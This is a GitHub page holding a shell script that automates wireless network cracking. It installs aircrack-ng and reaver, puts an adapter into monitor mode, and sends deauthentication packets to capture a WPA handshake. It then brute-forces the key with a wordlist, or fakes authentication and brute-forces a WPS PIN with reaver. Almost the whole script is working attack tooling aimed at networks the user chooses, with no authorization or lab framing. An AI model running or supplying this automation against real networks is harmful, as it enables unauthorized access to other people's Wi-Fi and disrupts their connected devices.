-
Notifications
You must be signed in to change notification settings - Fork 0
/
wifi_wpa.sh
193 lines (169 loc) · 5.14 KB
/
wifi_wpa.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#!/bin/sh
# script to use wpa bruteforce attack
clear
echo "Welcome to my script to automate wifi cracking"
echo "--"
echo "If you are looking to crack a WPS secured network, a wordlist may not be needed"
echo "If you are going to do a WPA bruteforce attack, then please use a wordlist"
echo "If you don't have a wordlist yet, please download it and try again"
echo "--"
echo "And also, please have a wireless adapter which supports monitor mode and packet injection"
echo "---------------------------------------------------------"
if [[ $EUID -ne 0 ]] #checks for root access
then
echo "This script must be run as root"
echo "Please run as root or run as 'sudo'"
exit 1
fi
os="$( awk -F '=' '/^ID=/ {print $2}' /etc/os-release 2>&- )" #checks the os information using awk
if [[ "${os}" == "arch" ]]
then
flag="arch"
fi
if [[ "${os}" == "manjaro" ]]
then
flag="manjaro"
fi
if [[ "${os}" == "debian" ]]
then
flag="debian"
fi
if [[ "${os}" == "ubuntu" ]]
then
flag="ubuntu"
fi
if [[ "${os}" == "mint" ]]
then
flag="mint"
fi
#######
if [ $flag == "arch" -o $flag == "manjaro" ] #checks if dependency is installed
then
package=xterm
if pacman -Qs $package > /dev/null ;
then
echo "The package $package is installed"
else
echo "The package $package is not installed"
pacman -S xterm
fi
package=aircrack-ng
if pacman -Qs $package > /dev/null ;
then
echo "The package $package is installed"
else
echo "The package $package is not installed"
pacman -S aircrack-ng
fi
package=cowsay
if pacman -Qs $package > /dev/null ;
then
echo "The package $package is installed"
else
echo "The package $package is not installed"
pacman -S cowsay
fi
fi
if [ $flag == "debian" -o $flag == "ubuntu" -o $flag == "mint" ]
then
package=xterm
dpkg -s $package &> /dev/null
if [ $? -eq 0 ];
then
echo "$package is installed!"
else
echo "$package is NOT installed!"
apt update
apt install xterm
fi
package=aircrack-ng
dpkg -s $package &> /dev/null
if [ $? -eq 0 ];
then
echo "$package is installed!"
else
echo "$package is NOT installed!"
apt update
apt install aircrack-ng
fi
package=cowsay
dpkg -s $package &> /dev/null
if [ $? -eq 0 ];
then
echo "$package is installed!"
else
echo "$package is NOT installed!"
apt update
apt install cowsay
fi
fi
echo "---------------------------------------------------------"
cowsay "May the force be with you."
echo "This is the range of wireless adapters you have got"
ifconfig
read -p "Enter the wireless adapter for monitor mode: " wlan
ifconfig $wlan down
iwconfig $wlan mode monitor
ifconfig $wlan up
echo "Choose 1 for WPA bruteforce attack with a wordlist"
echo "Or choose 2 for a WPS pin connection attempt"
read -p "option: " choice
if [ $choice == 1 ]
then
echo "press Ctrl+C to stop the scan once you found the wifi you want to try"
airodump-ng $wlan
read -p "Please enter bssid of router: " bssid
read -p "Please enter channel number: " channel
echo "Now choose your target from the following"
echo "press Ctrl+C to stop the scan once you found your target to deauth for handshake"
airodump-ng --bssid $bssid --channel $channel $wlan
read -p "Enter target bssid: " tbssid
read -p "Enter filename of the file you want to store handshake : " filename
echo "press Ctrl+C to stop once you got the wpa-handshake"
xterm -title "App 1" -e "ifconfig ; airodump-ng --bssid $bssid --channel $channel --write $filename $wlan" &
xterm -title "App 2" -e "ifconfig ; aireplay-ng --deauth 5 -a $bssid -c $tbssid $wlan"
echo "If you've made it this far, you should already be having a wirdlist.txt file to be brute-forced with"
read -p "Enter the name of the said file: " wordlist
echo "Also, enter the .cap file newly generated by this script"
xterm -title "App 3" -hold -e ls | ls
read -p "Enter filename, in the full .cap format: " filename2
aircrack-ng $filename2 -w $wordlist
else
if [ $flag == "arch" -o $flag == "manjaro" ] #checks if dependency is installed
then
package=reaver
if pacman -Qs $package > /dev/null ;
then
echo "The package $package is installed"
else
echo "The package $package is not installed"
pacman -Sy reaver
fi
fi
if [ $flag == "debian" -o $flag == "ubuntu" -o $flag == "mint" ]
then
package=reaver
dpkg -s $package &> /dev/null
if [ $? -eq 0 ];
then
echo "$package is installed!"
else
echo "$package is NOT installed!"
apt update
apt install reaver
fi
fi
echo "lck should be 'no' for WPS to work"
wash --interface $wlan
echo "----"
read -p "Enter target wifi MAC address" bssid
read -p "Enter target wifi channel number" channel
ifconfig
read -p "Enter your wireless adapter MAC address" mybssid
echo "--"
echo "P.S. if your process is failing for some reason, please restart the process."
echo "If the problem still persists, then the WPS may be locked of that specific router."
echo "Try for WPA bruteforce if you can't find luck."
xterm -title "App 1" -e "ifconfig ; aireplay-ng --fakeauth 30 -a $bssid -h $mybssid $wlan" &
xterm -title "App 2" -e "ifconfig ; reaver --bssid $bssid --channel $channel --interface $wlan -vvv --no-associate"
fi